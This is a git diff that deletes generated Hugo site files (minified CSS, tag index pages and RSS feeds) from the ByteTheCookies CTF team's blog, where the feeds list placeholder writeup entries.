BADc,CACd,WAAW,CAAC;EACV,UAAU,EAAE,MAAM,GACnB" -} \ No newline at end of file diff --git a/public/style.min.d49422559632b24371de4a8755404bf6f95cb766f45dd1435cda6c8f84087db4fd44836abc0ee00d6d5bce85c1057aef41831eb51d7ef5558a968b277bf5cf1f.css b/public/style.min.d49422559632b24371de4a8755404bf6f95cb766f45dd1435cda6c8f84087db4fd44836abc0ee00d6d5bce85c1057aef41831eb51d7ef5558a968b277bf5cf1f.css deleted file mode 100644 index 1f50ebb4..00000000 --- a/public/style.min.d49422559632b24371de4a8755404bf6f95cb766f45dd1435cda6c8f84087db4fd44836abc0ee00d6d5bce85c1057aef41831eb51d7ef5558a968b277bf5cf1f.css +++ /dev/null @@ -1,4 +0,0 @@ -html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button::-moz-focus-inner,[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details{display:block}summary{display:list-item}template,[hidden]{display:none}html{font-family:sans-serif}.hidden,[hidden]{display:none!important}.pure-img{max-width:100%;height:auto;display:block}html[data-theme=light]{--color-text:#171717;--color-text-secondary:#737373;--color-text-footer:#737373;--color-text-mark:#171717;--color-border:#d4d4d4;--color-border-collapsible-menu:#e5e5e5;--color-background:#fff;--color-background-hover:#f7f7f7;--color-background-overlay:#ededed;--color-background-inline-code:#f5f5f5;--color-background-card:#fff;--color-background-mark:#ffd70e;--color-link:#2563eb;--color-navbar-item-inactive:#a3a3a3;--color-navbar-item-active:#171717;--color-navbar-item-in-section:#525252}html[data-theme=dark]{--color-text:#ededed;--color-text-secondary:#8b8b8b;--color-text-footer:#a3a3a3;--color-text-mark:#171717;--color-border:#737373;--color-border-collapsible-menu:#636363;--color-background:#333;--color-background-hover:#525252;--color-background-overlay:#404040;--color-background-inline-code:#525252;--color-background-card:#404040;--color-background-mark:#ffd70e;--color-link:#93c5fd;--color-navbar-item-inactive:#a3a3a3;--color-navbar-item-active:#f5f5f5;--color-navbar-item-in-section:#ddd}html{color:var(--color-text);background:var(--color-background);font-size:16px}a{color:var(--color-link);text-decoration:none}html,button,input,select,textarea,.pure-g [class*=pure-u]{font-family:system-ui,-apple-system,segoe ui,Roboto,Helvetica,Arial,sans-serif,apple color emoji,segoe ui emoji}code,kbd,pre{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,liberation mono,courier new,monospace}body{margin-left:auto;margin-right:auto;padding:1.5rem}h1,h2,h3,h4,h5,h6{font-weight:700;margin-top:2rem;margin-bottom:1rem}h1{font-size:1.5rem;line-height:2rem}h2{font-size:1.375rem;line-height:1.875rem}h3{font-size:1.25rem;line-height:1.75rem}h4{font-size:1.125rem;line-height:1.75rem}h5{font-size:1rem;line-height:1.5rem}h6{font-size:.875rem;line-height:1.25rem}figure{margin:0}img{max-width:100%;border-radius:3px}input{background-color:var(--color-background);color:var(--color-text);border:none}mark{background-color:var(--color-background-mark);color:var(--color-text-mark)}details>summary{cursor:pointer}details[open]>summary{cursor:pointer}.content-margin{margin-top:2rem;margin-bottom:2rem}.hidden{display:none}@media screen and (min-width:35.5rem){body{width:100%}}@media screen and (min-width:48rem){body{width:80%}}@media screen and (min-width:64rem){body{width:55%}}@media screen and (min-width:80rem){body{width:55%}}@media screen and (min-width:120rem){body{width:55%}}@font-face{font-family:jetbrainsmononerd;src:url(/fonts/JetBrainsMonoNLNerdFont-Regular.ttf)format("truetype");font-weight:400;font-style:normal}h1,h2,h3,h4,h5,h6{font-family:jetbrainsmononerd,sans-serif}.badge{background-color:#9e8c6c;color:#fff;padding:5px 10px;border-radius:12px;font-size:.8em;font-weight:200;font-family:jetbrainsmononerd,sans-serif;display:inline-block;margin-right:5px;margin-top:5px}.date{padding-top:6px;font-family:jetbrainsmononerd,sans-serif;font-size:.8em}.icon_contacts{list-style:none;margin:0 10px}.members-list{display:flex;flex-wrap:wrap}.card-members{display:flex;width:calc(45% - 12px);margin:16px auto;max-height:24hv;max-width:56vh;border-radius:12px;background-color:#0000;border:#292929 dashed 4px}@media(max-width:1350px){.card-members{width:100%;margin:15px auto}.members-list{flex-direction:column;align-items:center}.div-text{margin-right:auto}}.content-container{width:100%;display:flex;margin:0,auto;justify-content:space-between}.div-img-members{padding:10px;margin:0;display:inline-block;min-width:30%;position:relative}.badge-image{position:absolute;top:14px;right:14px;width:25px;border-radius:50%}.name-members{margin:14px 0 0;width:100%;display:inline-block}.tag-members{display:inline-block;margin:0;padding:0;font-weight:700;text-decoration:underline}.div-text{width:100%;margin-right:auto}.div-img-members{display:inline-block}.tag-members:hover{color:#39e6ec;cursor:pointer}.tag-school{display:inline-block;margin:0;padding:4px;padding-left:0;opacity:.7}.categories-container{margin-left:auto;padding:8px;display:flex;flex-direction:column}.categories-members{padding:2px 8px;font-size:12px;display:inline-block;margin:10px auto 0 0;border-radius:6px;color:#fff}.categories-color-web{background-color:#8bbada}.categories-color-pwn{background-color:#e74c3c}.categories-color-crypto{background-color:#219b54}.categories-color-rev{background-color:#19703d}.categories-color-misc{background-color:#d6d318}.categories-color-forensic{background-color:#f39c12}.categories-color-osint{background-color:#8e44ad}.categories-color-block{background-color:#8f22ce}.categories-color-netw{background-color:#16384e}.nftImage{width:200%;height:auto;border-radius:12px}.spinner{border:4px solid rgba(0,0,0,.1);border-radius:50%;border-top:4px solid #d4b783;width:40px;height:40px;animation:spin 1s linear infinite;margin:auto}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}article{line-height:1.7;width:100%}article>*:first-child{margin-top:0}article>*:last-child{margin-bottom:0}article hr{margin-top:2rem;margin-bottom:2rem}article p{overflow-wrap:break-word}article li{list-style-type:disc;margin-top:.5rem;margin-bottom:.5rem}article li p{margin-top:0;margin-bottom:0}article ul,article ol{margin-top:1rem;margin-bottom:1rem;padding-left:1.3rem}article ol li{list-style-type:decimal}article ul,article ol{margin-top:.5rem;margin-bottom:.5rem}article ul li:first-child,article ol li:first-child{margin-top:0}article ul li:last-child,article ol li:last-child{margin-bottom:0}article blockquote{padding-left:1rem;padding-right:1rem;margin-top:1rem;margin-bottom:1rem;margin-left:0;margin-right:0;border-left:2px solid var(--color-border)}article blockquote p:first-child{margin-top:0}article blockquote p:last-child{margin-bottom:0}article blockquote blockquote{margin-top:0;margin-bottom:0}article code{border-radius:.25rem;padding:.2rem .375rem;background-color:var(--color-background-inline-code)}article pre{margin-top:1rem;margin-bottom:1rem;padding:1rem;overflow-x:auto;border-radius:.5rem;background-color:#272822;color:#f7f7f7}article pre code{display:inherit;border-radius:0;padding:0;background-color:transparent}article pre.mc-prism.hide code{opacity:0}article pre.mc-prism code{opacity:1;transition:opacity .1s ease-in}article .code-toolbar .toolbar-item{margin-left:.25rem;margin-right:.25rem}article .highlight{margin-top:1rem;margin-bottom:1rem;position:relative}article .highlight .code-toolbar{padding:0}article .highlight .code-toolbar pre{padding:1rem;border-radius:.375rem}article .highlight>div,article .highlight>pre{padding:.75rem;border-radius:.375rem;overflow-x:auto}article .highlight>div pre,article .highlight>pre pre{padding:0;margin:0;border-radius:0}article .highlight>div pre code,article .highlight>pre pre code{border-radius:0;padding:0;background-color:transparent}article .copy-code-button{font-size:.75rem;line-height:1rem;position:absolute;right:0;height:1.5rem;top:-1.5rem;padding-left:.375rem;padding-right:.375rem;border-radius:.25rem;cursor:pointer;background-color:transparent;display:flex;align-items:center}article .copy-code-button:hover{background-color:var(--color-background-hover)}article table.mc-table{margin-top:1rem;margin-bottom:1rem;table-layout:auto;border-collapse:collapse;display:block;overflow-x:auto}article table.mc-table td,article table.mc-table th{padding-left:.75rem;padding-right:.75rem;padding-top:.5rem;padding-bottom:.5rem;border:1px solid var(--color-border)}article figure{margin-top:1rem;margin-bottom:1rem;text-align:center}article figure figcaption{margin-top:.5rem;margin-bottom:.5rem}article img{margin-left:auto;margin-right:auto;display:block}article .header-anchor-link{display:none;color:var(--color-text)}article .header-anchor-wrapper:hover .header-anchor-link{display:inline}html[data-theme=dark] .twitter-tweet{color:var(--color-text)}html[data-theme=dark] .twitter-tweet a{color:var(--color-link)}.bookcase-layout{display:grid;gap:1rem;grid-template-columns:repeat(auto-fill,8rem)}.bookcase-layout .bookcase-item figure{position:relative;margin:0}.bookcase-layout .bookcase-item figcaption{font-size:.875rem;line-height:1.25rem;text-align:center;margin-top:.7rem}.bookcase-layout .bookcase-item figcaption a{color:var(--color-text)}.bookcase-layout .bookcase-item img,.bookcase-layout .bookcase-item .bookcase-item-overlay{width:8rem;height:12rem;border-radius:.375rem;object-fit:cover}.bookcase-layout .bookcase-item .bookcase-item-overlay{position:absolute;top:0;left:0;background-color:transparent;opacity:.25}.bookcase-layout .bookcase-item .bookcase-item-overlay:hover{background-color:var(--color-background-overlay)}html[data-theme=light] .bookcase-item-img-dark{display:none}html[data-theme=light] .bookcase-item img,html[data-theme=light] .bookcase-item .bookcase-item-overlay{box-shadow:0 0 10px -1px rgba(0,0,0,.1)}html[data-theme=dark] .bookcase-item-img-light{display:none}html[data-theme=dark] .bookcase-item img,html[data-theme=dark] .bookcase-item .bookcase-item-overlay{box-shadow:0 0 3px rgba(135,135,135,.2)}@media screen and (min-width:48rem){.gallery-layout figure{margin-left:-1.25rem;margin-right:-1.25rem}}.gallery-layout figure img{margin-left:auto;margin-right:auto;display:block}.gallery-layout figcaption{margin-top:.5rem;margin-bottom:.5rem;font-size:.75rem;line-height:1rem;font-style:italic;text-align:center}.gallery-layout .gallery-item{margin-bottom:4rem}.gallery-layout .gallery-item-title{margin:1rem 0}.gallery-layout .gallery-item-title a{color:var(--color-text);border-bottom:2px solid var(--color-border)}.gallery-layout .gallery-item-title a:hover{border-bottom-color:var(--color-text-secondary)}.gallery-layout .gallery-item-title span{font-size:1.5rem;line-height:2rem;font-weight:700}.gallery-layout .gallery-item-content{margin-top:1rem;margin-bottom:1rem}.gallery-layout .gallery-item-statistic{display:grid;gap:.5rem;grid-template-columns:max-content 1fr}.balloon-layout .balloon-card-item,.balloon-layout .balloon-title-item,.balloon-layout .balloon-head-item{display:flex;flex-direction:column}@media screen and (min-width:48rem){.balloon-layout .balloon-card-item,.balloon-layout .balloon-title-item,.balloon-layout .balloon-head-item{flex-direction:row}}.balloon-layout .balloon-card-item .balloon-card-item-line,.balloon-layout .balloon-title-item .balloon-title-item-line,.balloon-layout .balloon-head-item .balloon-head-item-desktop{width:7rem;display:flex;flex-direction:column;position:relative;align-items:center}@media screen and (max-width:48rem){.balloon-layout .balloon-card-item .balloon-card-item-line,.balloon-layout .balloon-title-item .balloon-title-item-line,.balloon-layout .balloon-head-item .balloon-head-item-desktop{display:none}}.balloon-layout .balloon-card-item .balloon-card-item-content,.balloon-layout .balloon-title-item .balloon-title-item-content,.balloon-layout .balloon-head-item .balloon-head-item-content{display:flex;flex:1;margin-left:-12px}@media screen and (max-width:48rem){.balloon-layout .balloon-card-item .balloon-card-item-content,.balloon-layout .balloon-title-item .balloon-title-item-content,.balloon-layout .balloon-head-item .balloon-head-item-content{margin-left:0}}@media screen and (min-width:48rem){.balloon-layout{margin-left:-1.75rem}}.balloon-layout .balloon-head-item{width:100%;gap:20px}.balloon-layout .balloon-head-item .balloon-head-item-mobile{width:100%;justify-content:center}@media screen and (min-width:48rem){.balloon-layout .balloon-head-item .balloon-head-item-mobile{display:none}}.balloon-layout .balloon-head-item .balloon-head-item-img-light,.balloon-layout .balloon-head-item .balloon-head-item-img-dark{display:flex;justify-content:center}.balloon-layout .balloon-head-item .balloon-head-item-img img{width:6rem;height:6rem}.balloon-layout .balloon-head-item .balloon-head-item-img .rounded{border-radius:9999px}.balloon-layout .balloon-head-item .balloon-head-item-content{margin:0;align-items:center}@media screen and (max-width:48rem){.balloon-layout .balloon-head-item .balloon-head-item-content{justify-content:center;text-align:center}}@media screen and (max-width:48rem){.balloon-layout .balloon-title-item .balloon-title-item-content{justify-content:center;text-align:center}}.balloon-layout .balloon-card-item .balloon-card-item-content{font-size:.875rem;line-height:1.25rem;overflow:auto;border-radius:.375rem;box-shadow:0 4px 6px -1px rgba(0,0,0,.1),0 2px 4px -1px rgba(0,0,0,6%);background-color:var(--color-background-card);padding:1rem 1.2rem}.balloon-layout .balloon-dot{width:.8rem;height:.8rem;border-radius:1rem;margin:.25rem 0;border:2px solid var(--color-text)}.balloon-layout .balloon-line-container{display:flex;flex:1;justify-content:center}.balloon-layout .balloon-line-container .balloon-line{background-color:var(--color-text)}html[data-theme=dark] .balloon-head-item .balloon-head-item-img-light{display:none}html[data-theme=light] .balloon-head-item .balloon-head-item-img-dark{display:none}ul.list-layout{list-style:none;padding:0}ul.list-layout li{margin-bottom:.5rem;line-height:1.625;display:list-item;list-style-type:none}ul.list-layout li a{color:var(--color-text);border-bottom:2px solid var(--color-border);line-height:1.7rem}ul.list-layout li a:hover{border-bottom-color:var(--color-text-secondary)}ul.list-layout li span{font-size:.75rem;line-height:1rem;color:var(--color-text-secondary)}.postcard-layout a{color:var(--color-text)}.postcard-layout .postcard-item{padding:1rem;background-color:var(--color-background-card);border-radius:.375rem;margin:2rem 0;box-shadow:0 4px 6px -1px rgba(0,0,0,.1),0 2px 4px -1px rgba(0,0,0,6%)}.postcard-layout .postcard-item:hover{background-color:var(--color-background-hover)}.postcard-layout .postcard-item .postcard-title{font-size:1.25rem;line-height:1.75rem;font-weight:500}.postcard-layout .postcard-item .postcard-summary{font-size:.75rem;line-height:1rem;color:var(--color-text-secondary);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;margin:.5rem 0}.postcard-layout .postcard-item .postcard-metadata{font-size:.75rem;line-height:1rem;color:var(--color-text-secondary)}.term-title{display:flex;align-items:center;gap:8px;margin:2rem 0}.term-title h1{margin:0}html[data-theme=dark] #dark_mode_btn{display:none}html[data-theme=light] #light_mode_btn{display:none}header{display:flex;justify-content:space-between;align-items:center;margin:1rem 0}header #header_left{display:flex;justify-content:space-between;align-items:center}header #header_left .brand{display:flex;align-items:center}header #header_left .brand a{font-size:1.5rem;line-height:2rem;font-weight:700;color:var(--color-text)}header #header_left #sidebar_btn{margin-right:.5rem}header #header_left #sidebar_btn #sidebar_btn_label{display:flex}@media screen and (min-width:48rem){header #header_left #sidebar_btn{display:none}}header .toolbox{display:flex;align-items:center;column-gap:.5rem}header .toolbox .toolbox-btn{display:flex;cursor:pointer}header .toolbox .toolbox-btn:hover{color:var(--color-text-secondary)}header .toolbox .dropdown-wrapper .dropdown-btn.pure-menu-link{color:unset}header .toolbox .dropdown-wrapper .dropdown-btn{display:flex;align-items:center;padding:0}header .toolbox .dropdown-wrapper .dropdown-btn:hover{background-color:unset}header .toolbox .dropdown-wrapper .dropdown-btn::after{content:"";padding:0}header .toolbox .dropdown-wrapper .dropdown-btn .dropdown-desc{font-size:.875rem;line-height:1.25rem;margin-left:.35rem}header .toolbox #translation_tool .dropdown-btn .dropdown-desc{display:none}@media screen and (min-width:48rem){header .toolbox #translation_tool .dropdown-btn .dropdown-desc{display:block}}header .toolbox #translation_tool .pure-menu-children{left:auto;right:0}footer{margin-top:1rem;margin-bottom:1rem;font-size:.75rem;line-height:1rem;text-align:center;color:var(--color-text-footer)}/*!Pure v2.1.0 -Copyright 2013 Yahoo! -Licensed under the BSD License. -https://github.com/pure-css/pure/blob/master/LICENSE*/.pure-menu{-webkit-box-sizing:border-box;box-sizing:border-box}.pure-menu-fixed{position:fixed;left:0;top:0;z-index:3}.pure-menu-list,.pure-menu-item{position:relative}.pure-menu-list{list-style:none;margin:0;padding:0}.pure-menu-item{padding:0;margin:0;height:100%;font-size:.875rem;line-height:1.25rem}.pure-menu-link,.pure-menu-heading{display:block;text-decoration:none;white-space:nowrap}.pure-menu-horizontal{width:100%;white-space:nowrap}.pure-menu-horizontal .pure-menu-list{display:inline-block}.pure-menu-horizontal .pure-menu-item,.pure-menu-horizontal .pure-menu-heading,.pure-menu-horizontal .pure-menu-separator{display:inline-block;vertical-align:middle}.pure-menu-item .pure-menu-item{display:block}.pure-menu-children{display:none;position:absolute;left:100%;top:0;margin:0;padding:0;z-index:3;box-shadow:0 20px 25px -5px rgba(0,0,0,.1),0 10px 10px -5px rgba(0,0,0,4%)}.pure-menu-horizontal .pure-menu-children{left:0;top:auto;width:inherit}.pure-menu-allow-hover:hover>.pure-menu-children,.pure-menu-active>.pure-menu-children{display:block;position:absolute}.pure-menu-has-children>.pure-menu-link:after{padding-left:.35rem;font-family:sans-serif;content:"▸"}.pure-menu-horizontal .pure-menu-has-children>.pure-menu-link:after{font-family:sans-serif;content:"▾"}.pure-menu-scrollable{overflow-y:scroll;overflow-x:hidden}.pure-menu-scrollable .pure-menu-list{display:block}.pure-menu-horizontal.pure-menu-scrollable{white-space:nowrap;overflow-y:hidden;overflow-x:auto;padding:.5em 0}.pure-menu-horizontal.pure-menu-scrollable .pure-menu-list{display:inline-block}.pure-menu-separator{background-color:#ccc;height:1px;margin:.3em 0}.pure-menu-horizontal .pure-menu-children .pure-menu-separator{background-color:#ccc;height:1px;margin:.3em 0}.pure-menu-horizontal .pure-menu-separator{width:1px;height:1.3em;margin:0 .3em}.pure-menu-horizontal .pure-menu-children .pure-menu-separator{display:block;width:auto}.pure-menu-heading{text-transform:uppercase;color:var(--color-text)}.pure-menu-link{color:var(--color-text);font-size:.875rem;line-height:1.25rem}.pure-menu-children{background-color:var(--color-background)}.pure-menu-link,.pure-menu-heading{padding:.5rem}.pure-menu-disabled{opacity:.5}.pure-menu-disabled .pure-menu-link:hover{background-color:transparent;cursor:default}.pure-menu-active>.pure-menu-link{background-color:var(--color-background-hover)}.pure-menu-link:hover,.pure-menu-link:focus{background-color:var(--color-background-hover)}.pure-menu-selected>.pure-menu-link{color:var(--color-navbar-item-active)}.pure-menu-selected>.pure-menu-link:visited{color:var(--color-navbar-item-active)}#navbar{margin:1rem 0}@media screen and (max-width:48rem){#navbar{display:none}}#navbar>ul.pure-menu-list{display:flex}#navbar>ul.pure-menu-list .navbar-dropdown>a.pure-menu-link:after{content:"▾"}#navbar>ul.pure-menu-list .navbar-dropdown>ul.pure-menu-children{left:0;top:27px;width:inherit}#navbar>ul.pure-menu-list .navbar-item{margin:0 .5rem 0 0;border-bottom:2px solid transparent}#navbar>ul.pure-menu-list .navbar-item>a.pure-menu-link{font-weight:500;padding:0 0 .3rem;color:var(--color-navbar-item-inactive)}#navbar>ul.pure-menu-list .navbar-item>a.pure-menu-link:hover{background-color:transparent}#navbar>ul.pure-menu-list .navbar-item:hover{border-bottom-color:var(--color-navbar-item-active)}#navbar>ul.pure-menu-list .navbar-item:hover>a{color:var(--color-navbar-item-active)}#navbar>ul.pure-menu-list .navbar-item.active{border-bottom-color:var(--color-navbar-item-active)}#navbar>ul.pure-menu-list .navbar-item.active>a{color:var(--color-navbar-item-active)}#navbar>ul.pure-menu-list .navbar-item.insection{border-bottom-color:var(--color-navbar-item-in-section)}#navbar>ul.pure-menu-list .navbar-item.insection>a{color:var(--color-navbar-item-in-section)}#TableOfContents{line-height:1.5rem}#TableOfContents ul,#TableOfContents li{list-style:none;padding-left:0;margin:0}#TableOfContents ul ul{margin-left:.5rem}#TableOfContents li{margin-top:.375rem}#TableOfContents a{color:var(--color-text)}article#collapsible_menu_changelogs{line-height:1.75rem;display:grid;gap:.5rem;grid-template-columns:max-content 1fr;margin-top:.5rem}.collapsible-menu-wrapper{margin-top:2rem;margin-bottom:2rem;font-size:.875rem;padding:1rem;border:2px solid var(--color-border-collapsible-menu);border-radius:.25rem}.collapsible-menu-wrapper .collapsible-menu-type span{font-weight:700;line-height:1.5rem}.collapsible-menu-wrapper summary.collapsible-menu-type span{margin-left:.3rem}.collapsible-menu-wrapper .collapsible-menu{margin-left:.5rem}.emgithub-container{margin-top:1.5rem;margin-bottom:1.5rem}.emgithub-container .emgithub-code{display:flex;flex-direction:column;justify-content:center}.emgithub-container .emgithub-code .emgithub-loading{margin-left:auto;margin-right:auto;margin-top:1rem;margin-bottom:1rem;z-index:10;position:absolute;left:0;right:0;width:2rem}.emgithub-container .emgithub-code .emgithub-loading.hide{display:none}.emgithub-container .emgithub-code .emgithub-loading svg{width:2rem;height:2rem;animation:spin 1s linear infinite;color:#fff;fill:#969696}@keyframes spin{from{transform:rotate(0)}to{transform:rotate(360deg)}}.emgithub-container .emgithub-code .emgithub-pre{margin-top:0;margin-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.emgithub-container .emgithub-code .emgithub-pre.loading{min-height:5rem}.emgithub-container .emgithub-code .emgithub-pre code{tab-size:inherit}.emgithub-container .emgithub-toolbar{font-size:.75rem;line-height:1rem;display:flex;flex-direction:row;justify-content:space-between;padding:.75rem .75rem .625rem;border-bottom-right-radius:.375rem;border-bottom-left-radius:.375rem;background-color:#171717}.emgithub-container .emgithub-toolbar a{font-weight:600;color:#fff;border:0}.term-item{color:var(--color-text);border-bottom:2px solid var(--color-border);margin-right:.375rem;text-wrap:nowrap}.term-item:hover{border-bottom-color:var(--color-text-secondary)}.icon{display:inline-block;width:1.5rem;height:1.5rem}.icon a{color:var(--color-text)}.icon a:hover{color:var(--color-text-secondary)}.breadcrumbs{font-weight:700;list-style-type:none;padding:0;margin:0}.breadcrumbs a{color:var(--color-text);border-bottom:2px solid transparent}.breadcrumbs a:hover{border-bottom-color:var(--color-text-secondary)}.breadcrumbs li{display:inline;margin-right:.25rem}.color-block{border-radius:.25rem;padding:.75rem}.icon-group{margin-top:1rem;margin-bottom:1rem;display:inline-grid;grid-auto-flow:column;gap:.375rem}#search_menu_wrapper{display:flex;justify-content:center;position:fixed;top:0;left:0;width:100%;height:100%;z-index:40;background-color:rgba(0,0,0,.75)}#search_menu_wrapper #search_menu{position:fixed;display:flex;flex-direction:column;width:100%;height:100%;border-radius:0;background-color:var(--color-background)}@media screen and (min-width:35.5rem){#search_menu_wrapper #search_menu{height:auto;top:6rem;bottom:6rem;width:30rem;z-index:50;border-radius:.375rem}}#search_menu_wrapper #search_menu #search_menu_toolbar{display:flex;min-height:2.5rem;box-shadow:0 4px 6px -1px rgba(0,0,0,.1),0 2px 4px -1px rgba(0,0,0,6%)}#search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper{display:flex;flex-grow:1}#search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper input{padding-left:1rem;padding-right:1rem;flex-grow:1;border-top-left-radius:.375rem}#search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper input:focus{outline:2px solid transparent;outline-offset:2px}#search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_close_btn{display:flex;align-items:center;justify-content:center;width:2.5rem;border-top-right-radius:.375rem;cursor:pointer}#search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_close_btn:hover{background-color:var(--color-background-overlay)}#search_menu_wrapper #search_menu #search_menu_results{flex-grow:1;overflow-y:auto}#search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item{padding-left:1rem;padding-right:1rem;padding-top:.875rem;padding-bottom:.875rem;min-height:2.5rem}#search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item:hover{background-color:var(--color-background-overlay)}#search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item .search-menu-result-item-title{font-weight:700;line-height:1.7rem;color:var(--color-text)}#search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item .search-menu-result-item-content{font-size:.75rem;line-height:1rem;color:var(--color-text-secondary)}#sidebar_btn_input:checked~#sidebar_canvas_overlay_wrapper #sidebar_canvas_overlay{display:block}#sidebar_canvas_overlay{background-color:rgba(0,0,0,.75);position:fixed;top:0;left:0;width:100%;height:100%;z-index:10;display:none}#sidebar{position:fixed;top:0;left:0;height:100%;z-index:20;background-color:var(--color-background);box-shadow:0 4px 6px -1px rgba(0,0,0,.1),0 2px 4px -1px rgba(0,0,0,6%);transition:transform .2s;transform:translateX(-100%);overflow-y:auto;width:60%}@media screen and (min-width:35.5rem){#sidebar{width:40%}}#sidebar ul{list-style:none;padding-left:0;margin:0}#sidebar li{margin:1.2rem}#sidebar a{color:var(--color-text)}#sidebar_btn_input:checked~#sidebar{display:block;transform:translateX(0)}.pagination{padding:0;margin:0;list-style:none}.pagination li{display:inline;margin:0 .1rem}.pagination a,.pagination span{color:var(--color-text-secondary)}.pagination li.active a{font-weight:600;color:var(--color-text)}.pagination li:not(.disabled) a:hover{color:var(--color-text)}.pagination li:not(.disabled) a:hover span{color:inherit}.pagination .disabled{cursor:not-allowed}.postcard-layout .pagination{text-align:center}/*# sourceMappingURL=style.css.map */ \ No newline at end of file diff --git a/public/tags/-points/index.html b/public/tags/-points/index.html deleted file mode 100644 index 93f8cbb5..00000000 --- a/public/tags/-points/index.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - - - Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/-points/index.xml b/public/tags/-points/index.xml deleted file mode 100644 index 1393fe9e..00000000 --- a/public/tags/-points/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Points on ByteTheCookies - http://localhost:1313/tags/-points/ - Recent content in Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:31 +0200 - - Feature Unlocked - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Feature unlocked Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/-points/page/1/index.html b/public/tags/-points/page/1/index.html deleted file mode 100644 index 2806cb63..00000000 --- a/public/tags/-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/-points/ - - - - - - diff --git a/public/tags/-solves/index.html b/public/tags/-solves/index.html deleted file mode 100644 index 27c35081..00000000 --- a/public/tags/-solves/index.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - - - Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Solves

- - - -
- - -
-

2024

- -
    - -
  • - Snake - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/-solves/index.xml b/public/tags/-solves/index.xml deleted file mode 100644 index ef617364..00000000 --- a/public/tags/-solves/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Solves on ByteTheCookies - http://localhost:1313/tags/-solves/ - Recent content in Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:36 +0200 - - Snake - http://localhost:1313/writeups/cyberspace2024/snake/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/writeups/cyberspace2024/snake/ - Snake Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/-solves/page/1/index.html b/public/tags/-solves/page/1/index.html deleted file mode 100644 index d9c55373..00000000 --- a/public/tags/-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/-solves/ - - - - - - diff --git a/public/tags/0xm4hm0ud/index.html b/public/tags/0xm4hm0ud/index.html deleted file mode 100644 index 47b8e9c7..00000000 --- a/public/tags/0xm4hm0ud/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 0xM4hm0ud - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

0xM4hm0ud

- - - -
- - -
-

2024

- -
    - -
